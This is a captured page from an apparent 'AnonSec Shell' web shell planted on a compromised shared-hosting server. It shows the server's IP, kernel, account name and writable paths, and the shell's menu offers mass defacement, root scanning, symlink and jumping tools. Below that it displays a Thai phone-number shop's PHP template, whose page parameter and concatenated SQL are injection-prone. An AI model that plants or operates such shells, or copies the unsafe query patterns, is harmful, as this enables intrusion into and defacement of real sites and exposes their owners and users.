AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/themesv2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/themesv2/berded_his1.php
<!--
-->
<div class="row"> 
    <?php for ($ib=0; $ib < 4; $ib++) { ?>
    <div class="row">
    <?php
        $sql_s = 'shop.id = phonenumber.id_shop AND shop.status = "1" AND shop.status_op = "1" AND shop.activate = "1" AND phonenumber.status = "1" ';

        $max_rows = 20; // แสดงจำนวนแถวต่อหน้า
        $page_number = $ib;
        if(isset($_GET['page_number']))
        {
        $page_number = $_GET['page_number'];
        }

        $all_array =  array('table'=>'phonenumber,shop','where'=>$sql_s);
        $start_row = $page_number * $max_rows;
        $all_sql = $view_db->view($all_array);
        $all_result = $view_db->q_re($all_sql);
        $total_rows = $view_db->q_nr($all_result);
        $total_rows_num = mysqli_num_rows($all_result);
        $total_pages = ceil($total_rows/$max_rows)-1;
        ////////////////////////////////////////
        $list = array('table'=>'phonenumber,shop','where'=>$sql_s, 'limit'=> "$start_row,$max_rows",'order'=> "ORDER BY phonenumber.id DESC");
        $view = $view_db->view($list);
        $result = $view_db->q_re($view);
        $num_tr = 1;
        $num = 1+($page_number*$max_rows);
        while($row = $view_db->q_ro($result))
        {
            $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
            $row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');

            $row_totalnumber = $actiondata_db->q_one('totalnumber','number = "'.$row['total'].'"','title');
            if($row_totalnumber==2){$row_totalnumber = '';}


            $list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');
            $view_shr = $view_db->view($list_shr);
            $row_shr = $view_db->q($view_shr);

            $list_phr = array('table'=>'phonenumber','where'=>'phonenumber = "'.$row['phonenumber'].'" ');
            $view_phr = $view_db->view($list_phr);
            $row_phr = $view_db->q($view_phr);

            $countber =  $util_class->countber($row_shr['id']);
            $txt_phonenumber =  $Phone_class->phonecomma($row_shr['phone']);

            if($row_shr['image_profile']){ $image_profile = $row_shr['image_profile']; }
            else { $image_profile = '';  }

            $phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
            $price = $row['price']-1;
            $total_rank = "";
            $sym = "";
            if(@$row['total']<= 40){  $total_rank = "c"; }
            if(@$row['total']>= 41 && @$row['total']<= 45){  $total_rank = "C"; $sym = "+";}
            if(@$row['total']>= 46 && @$row['total']<= 50){  $total_rank = "B"; $sym = "";}
            if(@$row['total']>= 51 && @$row['total']<= 55){  $total_rank = "B"; $sym = "+";}
            if(@$row['total']>= 56 && @$row['total']<= 60){  $total_rank = "A"; $sym = "";}
            if(@$row['total']>= 61 && @$row['total']<= 65){  $total_rank = "A"; $sym = "+";}
            if(@$row['total']>= 66 && @$row['total']<= 70){  $total_rank = "S"; $sym = "";}
            if(@$row['total']>= 71 ){  $total_rank = "S"; $sym = "+";}
        ?>

        <div class="col-12 col-lg-6">
            <div class="d-flex text-white align-items-center ps-0 ps-md-2 ps-lg-3">
                <div class="btn custom-button2 rounded-pill py-0">
                    <a href="../cart/?p=<?php echo $row['phonenumber'];?>" class="text-decoration-none px-lg-5">
                        <span class="BerDedToday-ber px-xxl-5 dxxl-flex align-items-center"><?php echo $phonenumber; ?></span>
                    </a>
                </div>
                <span class="ms-3">ผลรวม</span>
                <div class="btn custom-button3 rounded-circle ms-3 d-grid align-items-center">
                    <span class="BerDedToday-ber"><?php echo $row['total']; ?></span>
                </div>
                <div class="btn custom-button3 rounded-circle ms-3 d-grid align-items-center">
                    <span class="BerDedToday-ber position-relative">
                        <?php echo $total_rank; ?><?php  echo $sym;  ?>
                    </span>
                    </span>
                </div>
            </div>  
        </div>              
        <?php } ?>
    </div>    
    <?php } ?>  
</div>

<!--
-->

Anon7 - 2022
AnonSec Team